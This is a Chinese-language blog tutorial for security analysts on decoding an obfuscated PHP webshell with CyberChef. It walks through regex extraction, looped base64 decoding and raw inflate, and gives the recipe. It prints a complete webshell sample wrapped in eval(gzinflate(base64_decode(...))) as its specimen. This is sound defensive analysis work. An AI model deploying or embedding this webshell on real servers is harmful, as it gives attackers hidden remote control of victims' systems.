在网络安全运营,护网HVV,重保等活动的过程中,webshell是一个无法绕过的话题。通常出现的webshell都不是以明文的形式出现,而是针对webshell关键的内容进行,混淆,编码来绕过网络安全产品,例如IDS,WAF,沙箱,邮件网关,EDR等产品的检测。本文介绍其中易总比较常见的绕过方式,即base64编码加压缩编码的方式,作为《各种数据绕过实战分析篇》中的一篇,这里。
Webshell介绍
Webshell是一种恶意软件,它通常是由攻击者利用Web应用程序的漏洞或不安全配置,在受攻击的服务器上植入的一段恶意代码。这段恶意代码可以以各种形式存在,例如一段PHP、ASP、JSP等脚本代码,或者是一段可执行的命令或脚本。
Webshell 载体
- webshell常见的载体是php,asp,jsp等文件格式。
- webshell的载体还可以是图片,文档,压缩文件文件,即将对应的代码嵌入到图片之中,俗称图片码。
- webshell的载体可以是网络数据包,即通过RCE远程利用漏洞的形式将恶意代码注入到程序中。更多的关于webshell的远程利用,可以参考《安全运营之网络攻击研判分析》,这里。
对于经过编码和混淆之后的webshell,无论载体是什么,都需要提取对应的webshell内容还原对手原本的目的。
Webshell 样本
如下为一段常见的webshell样本,详见这里,如下:
<?php eval(gzinflate(base64_decode("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"))); ?>
可以看到该样本的内容经过了编码和压缩,因此无法获取内容的意图。
识别编码
常见的编码包括base64,URL,hex,char,gzip,xor,utf-8等,详见《各种编码理论篇》,这里。因此第一步需要对于常见的编码字符集有一定的了解,在遇到对应的数据之后能够猜测数据使用的编码手段。
上述webshell比较明显,先使用了base64的方式进行编码,然后使用了gzinflate的方式进行了压缩。
程序解码
如果使用python等程序的方式解析上述的数据步骤如下:
- 提取需要解码的数据内容
- 编写Python解码数据 ,先base64,然后解压缩
- 使用IDE显示代码内容
虽然编写程序的灵活度高,但是耗时耗力,并不是日常网络安全运营过程中重点投入的地方。
cyberchef解码
提取数据
按照上述编写程序的步骤,第一步提取需要解析的内容。由于输入的是整个webshell内容,因此需要使用正则提取对应的编码内容,如下:
正则的内容就是base64字符集的正则,为了略过php,eval,gzinflate等字符,需要匹配长度至少为20的字符串。
base64解码
提取的内容为base64编码后的数据,因此需要进行base64解码,如下:
解压缩
解码后的数据为乱码,因为解码后的数据仍是压缩的数据,因此需要解压缩,如下:
循环处理
经过上图解压缩的输出,可以看到结果显示的内容为又做了一遍同样的base64编码以及压缩处理,因此需要循环解码和解压缩处理,如下:
需要使用label模块对处理的起始位置进行标记,然后使用jump模块反复的执行,相当于程序中的循环。循环的次数并不知道,因此需要一次次增加循环次数,直至得到需要的结果。
代码美化
上图中最终的记过并不利于代码查看,因此需要针对代码进行美化,如下:
至此可以看到对手webshell原本的意图,该方法有助于日常网络安全运营,护网HVV,重保等活动的过程中的安全事件调查。
raw recipe
使用的recipe内容如下:
[{ "op": "Label","args": ["start"] },{ "op": "Regular expression","args": ["User defined", "[a-zA-Z0-9=/+]{10,}", true, true, false, false, false, false, "List matches"] },{ "op": "From Base64","args": ["A-Za-z0-9+/=", true, false] },{ "op": "Raw Inflate","args": [0, 0, "Block", false, false] },{ "op": "Jump","args": ["start", 21] },{ "op": "Generic Code Beautify","args": [] }
]
以上就是针对webshell绕过内容解析的介绍,希望对你日常工作有所帮助。
本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。